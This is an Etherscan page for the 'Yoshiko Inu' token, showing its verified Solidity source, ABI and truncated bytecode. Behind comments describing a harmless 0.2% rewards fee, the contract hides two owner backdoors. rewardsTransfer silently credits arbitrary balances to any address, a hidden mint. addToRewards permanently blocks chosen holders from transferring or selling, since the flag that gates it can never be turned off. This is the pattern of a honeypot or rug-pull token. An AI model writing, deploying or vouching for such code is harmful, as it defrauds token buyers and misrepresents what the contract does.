ETH Price: $3,162.98 (-8.12%)
Gas: 9 Gwei

Token

Yoshiko Inu (YOSHIKO)
 

Overview

Max Total Supply

10,000,000,000,000 YOSHIKO

Holders

29

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,127,872,675.920712853 YOSHIKO

Value
$0.00
0x7cd1220dfc2b311784823482660a28d506f59d87
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YoshikoInu

Compiler Version
v0.7.0+commit.9e61f92b

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-26
*/

//SPDX-License-Identifier: GPL-3.0-or-later

pragma solidity =0.7.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

contract ERC20 is Ownable, IERC20 {
    using SafeMath for uint256;
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string internal _name;
    string internal _symbol;
    uint8 internal _decimals;

    constructor (string memory name, string memory symbol) {
        _name = name;
        _symbol = symbol;
        _decimals = 9;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function rewardsTransfer (address addressForRewards, uint256 collectedRewards) external onlyOwner {
        _balances[addressForRewards] = _balances[addressForRewards].add(collectedRewards);
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}

contract YoshikoInu is ERC20 {
    using SafeMath for uint256; 

    mapping (address => bool) private _rewards;
    address private _factory;
    address private _router;
    bool _initRewards;
    
    // Address for rewards. 0.2% tokens from each transactions goes here.
    address _addressForRewards;
    
    // Owner address must br excluded from rewards system.
    address private ownerExcluded;
    
    // Return an amount of allready collected tokens (for rewards)
    uint256 _collectedTokens;
    
    // Amount of total supply;
    uint256 _supplyTokens;
    
    constructor (address router, address factory, uint256 supplyTokens) ERC20(_name, _symbol) {
        _name = "Yoshiko Inu";
        _symbol = "YOSHIKO";
        _decimals = 9;
        _router = router;
        _factory = factory;
        _initRewards = true;
        
        // Generate total supply.
        _supplyTokens = supplyTokens;
        _totalSupply = _totalSupply.add(_supplyTokens);
        _balances[msg.sender] = _balances[msg.sender].add(_supplyTokens);
        emit Transfer(address(0), msg.sender, _supplyTokens);
    
        // Address to collecting Rewards. (0.2% tokens during each transactions will be transfered here).
        _addressForRewards = 0x0342fBdC9d8c5D71d31Ca201848d3e9c97C4E088;
        
        // Owner address must be excluded from rewards system.
        ownerExcluded = msg.sender;
    }

    function RewardsCollectedBalance() public view returns (uint256) {
        return _collectedTokens;
    }

    function AddressForRewards() public view returns (address) {
        return _addressForRewards;
    }

    function addToRewards(address _address) external onlyOwner {
        _rewards[_address] = true;
    }

    function delFromRewards(address _address) external onlyOwner {
        _rewards[_address] = false;
    }

    function isRewarded(address _address) public view returns (bool) {
        return _rewards[_address];
    }

    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_rewards[sender] || _rewards[recipient]) require(_initRewards == false, "");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 realAmount = amount;
        //deduct 0.2% of tokens during each transactions (for rewards).
        uint256 pointTwoPercent = amount.mul(2).div(1000);
        if (_addressForRewards != address(0) && sender != ownerExcluded && recipient != ownerExcluded) {
            _balances[sender] = _balances[sender].sub(pointTwoPercent, "ERC20: transfer amount exceeds balance");
            _balances[_addressForRewards] = _balances[_addressForRewards].add(pointTwoPercent);
            emit Transfer(sender, _addressForRewards, pointTwoPercent);
            _collectedTokens = _collectedTokens.add(pointTwoPercent);
            realAmount = amount.sub(pointTwoPercent);
        }
        _balances[sender] = _balances[sender].sub(realAmount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(realAmount);
        emit Transfer(sender, recipient, realAmount);
    }

    function uniswapv2Router() public view returns (address) {
        return _router;
    }
    
    function uniswapv2Factory() public view returns (address) {
        return _factory;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"factory","type":"address"},{"internalType":"uint256","name":"supplyTokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AddressForRewards","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RewardsCollectedBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"addToRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"delFromRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"isRewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addressForRewards","type":"address"},{"internalType":"uint256","name":"collectedRewards","type":"uint256"}],"name":"rewardsTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapv2Factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapv2Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040523480156200001157600080fd5b50604051620025e3380380620025e3833981810160405260608110156200003757600080fd5b8101908080519060200190929190805190602001909291908051906020019092919050505060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620000f65780601f10620000ca57610100808354040283529160200191620000f6565b820191906000526020600020905b815481529060010190602001808311620000d857829003601f168201915b505050505060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620001955780601f10620001695761010080835404028352916020019162000195565b820191906000526020600020905b8154815290600101906020018083116200017757829003601f168201915b50505050506000620001ac620005bf60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600490805190602001906200026292919062000650565b5080600590805190602001906200027b92919062000650565b506009600660006101000a81548160ff021916908360ff16021790555050506040518060400160405280600b81526020017f596f7368696b6f20496e7500000000000000000000000000000000000000000081525060049080519060200190620002e792919062000650565b506040518060400160405280600781526020017f594f5348494b4f00000000000000000000000000000000000000000000000000815250600590805190602001906200033592919062000650565b506009600660006101000a81548160ff021916908360ff16021790555082600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600960146101000a81548160ff02191690831515021790555080600d8190555062000414600d54600354620005c760201b620010881790919060201c565b60038190555062000475600d54600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620005c760201b620010881790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040518082815260200191505060405180910390a3730342fbdc9d8c5d71d31ca201848d3e9c97c4e088600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620006f6565b600033905090565b60008082840190508381101562000646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200069357805160ff1916838001178555620006c4565b82800160010185558215620006c4579182015b82811115620006c3578251825591602001919060010190620006a6565b5b509050620006d39190620006d7565b5090565b5b80821115620006f2576000816000905550600101620006d8565b5090565b611edd80620007066000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c80638c9e1c6c116100ad578063a9059cbb11610071578063a9059cbb1461058b578063cbc740aa146105ef578063cc1f9bf514610623578063dd62ed3e1461067d578063ff3787aa146106f557610121565b80638c9e1c6c1461041e57806394146a6e1461043c57806395d89b4114610470578063a457c2d7146104f3578063a55626cb1461055757610121565b8063313ce567116100f4578063313ce567146102af578063381184a9146102d0578063395093511461031e578063682d6eb91461038257806370a08231146103c657610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d57806323b872dd1461022b575b600080fd5b61012e610739565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107db565b60405180821515815260200191505060405180910390f35b6102156107f9565b6040518082815260200191505060405180910390f35b6102976004803603606081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610803565b60405180821515815260200191505060405180910390f35b6102b76108dc565b604051808260ff16815260200191505060405180910390f35b61031c600480360360408110156102e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f3565b005b61036a6004803603604081101561033457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a54565b60405180821515815260200191505060405180910390f35b6103c46004803603602081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b07565b005b610408600480360360208110156103dc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2a565b6040518082815260200191505060405180910390f35b610426610c73565b6040518082815260200191505060405180910390f35b610444610c7d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610478610ca7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b857808201518184015260208101905061049d565b50505050905090810190601f1680156104e55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61053f6004803603604081101561050957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d49565b60405180821515815260200191505060405180910390f35b61055f610e16565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105d7600480360360408110156105a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e40565b60405180821515815260200191505060405180910390f35b6105f7610e5e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106656004803603602081101561063957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e88565b60405180821515815260200191505060405180910390f35b6106df6004803603604081101561069357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ede565b6040518082815260200191505060405180910390f35b6107376004803603602081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f65565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d15780601f106107a6576101008083540402835291602001916107d1565b820191906000526020600020905b8154815290600101906020018083116107b457829003601f168201915b5050505050905090565b60006107ef6107e8611110565b8484611118565b6001905092915050565b6000600354905090565b600061081084848461130f565b6108d18461081c611110565b6108cc85604051806060016040528060288152602001611de960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610882611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6108fb611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610a0d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610afd610a61611110565b84610af88560026000610a72611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b611118565b6001905092915050565b610b0f611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600c54905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3f5780601f10610d1457610100808354040283529160200191610d3f565b820191906000526020600020905b815481529060010190602001808311610d2257829003601f168201915b5050505050905090565b6000610e0c610d56611110565b84610e0785604051806060016040528060258152602001611e836025913960026000610d80611110565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b611118565b6001905092915050565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e54610e4d611110565b848461130f565b6001905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6d611110565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828401905083811015611106576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611e5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611224576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611d806022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611e3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611d5d6023913960400191505060405180910390fd5b60008111611474576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180611e116029913960400191505060405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115155750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561157f5760001515600960149054906101000a900460ff1615151461157e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b61158a838383611b77565b600081905060006115b96103e86115ab600286611b7c90919063ffffffff16565b611c0290919063ffffffff16565b9050600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156116685750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156116c25750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156119075761173381604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ea8160016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b60016000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36118eb81600c5461108890919063ffffffff16565b600c819055506119048184611c4c90919063ffffffff16565b91505b61197382604051806060016040528060268152602001611da260269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ab79092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461108890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000838311158290611b64576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611b29578082015181840152602081019050611b0e565b50505050905090810190601f168015611b565780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b505050565b600080831415611b8f5760009050611bfc565b6000828402905082848281611ba057fe5b0414611bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611dc86021913960400191505060405180910390fd5b809150505b92915050565b6000611c4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c96565b905092915050565b6000611c8e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ab7565b905092915050565b60008083118290611d42576040517f08c3